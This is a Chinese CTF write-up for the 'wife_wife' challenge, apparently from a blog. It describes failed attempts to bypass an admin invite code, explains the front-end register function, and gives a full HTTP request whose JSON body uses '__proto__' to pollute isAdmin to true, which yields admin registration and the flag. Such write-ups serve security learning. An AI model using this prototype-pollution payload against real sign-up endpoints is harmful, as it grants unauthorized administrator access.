wife_wife
本文最后更新于 387 天前,其中的信息可能已经有所发展或是发生改变。

0x01 打开场景:

是一个登录框,题目提示不需要爆破

0x02 先通过Sign in下面的“go _register”链接注册一个账号

0x03 使用注册好的账号登录进去,页面直接回显了一个Flag,CatCTF{no_fl4g_4_u_6ut_you_h@ve_w1fe},但是提交这个Flag确是错误的,回到注册页面再勾选“is admin”重新注册一个账号

0x04 is admin 的注册需要一个邀请码,此时我有几种思路,这个邀请码会不会藏在页面源码中,尝试翻找后,无果,又猜想这个邀请码是不是藏在数据包中,通过修改返回包,和尝试将inviteCode修改为null,但都不行

这道题的关键应该就是要解决这个invite Code

0x05 我又想在不勾选“is admin”的注册页面中,尝试将is admin 的判断字段false 改为true 看是否能直接注册为admin,结果还是不行

0x06 我又在想,这个检验邀请码是否在前端进行验证的,前端在勾选 “is admin”那好像是有一个检查的函数,但是我删除掉那个函数仍然没有效果

在页面源代码中找到对应的js代码:

 function register(username, password, inviteCode, isAdmin){
            let user = {username, password, isAdmin}
            if(isAdmin){
                if(!inviteCode){
                    alert('invite code required')
                    return
                }
                user = {...user, inviteCode}
            }
            fetch('/register', {
                method: 'post',
                body: JSON.stringify(user)
            })
            .then(res => res.json())
            .then(res => {
                alert(res.msg)
                if(!res.err){
                    location.href = '/login'
                }
            })
        }

        function handle_isAdmin_change(isAdmin){
            document.getElementById('div-invitecode').hidden = !isAdmin
        }
这段 JavaScript 代码定义了两个函数:register 和 handle_isAdmin_change。

register 函数接受四个参数:username、password、inviteCode 和 isAdmin。根据 isAdmin 的值,它创建一个包含 username、password 和 isAdmin 的用户对象。如果 isAdmin 为 true,则检查是否提供了 inviteCode。如果没有提供 inviteCode,则显示一个警告信息并返回,不继续执行后续操作。否则,将 inviteCode 添加到用户对象中。然后,使用 fetch 函数向 /register 路径发起 POST 请求,将用户对象转换为 JSON 字符串并作为请求的主体发送。然后,解析响应为 JSON 格式,并显示响应中的消息。如果响应中没有错误 (!res.err),则将页面重定向到 /login 路径。

handle_isAdmin_change 函数接受一个参数 isAdmin,它根据 isAdmin 的值来控制 id 为 div-invitecode 的元素的显示。如果 isAdmin 为 true,则显示该元素,否则隐藏该元素。

因此,这段代码用于处理用户注册操作,根据用户是否为管理员来决定是否需要邀请码,并根据用户界面的变化来控制是否显示邀请码输入框。

但是并没有说明哪里来的邀请码

0x07 思路已经油尽灯枯,看看wp

看了wp后,说这题考的是Javascript的原链污染,在注册请求的字段中加入__proto__,并将isAdmin的false改为true,可以直接污染,成功注册管理员账号,具体的Javascript的原链污染原理呢,本身不太懂Java开发,也只能这样了

POST /register HTTP/1.1
Host: 61.147.171.105:56794
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://61.147.171.105:56794/register.html
Content-Type: text/plain;charset=UTF-8
Content-Length: 57
Origin: http://61.147.171.105:56794
Connection: close

{"username":"222222","password":"222222",
"__proto__":{
"isAdmin":true
}
}

0x08 用注册成功的管理员账号登入后也是成功拿到flag,你拿到了flag,所以你没有老婆,嘤嘤嘤~

文末附加内容
暂无评论

发送评论 编辑评论


				
上一篇
下一篇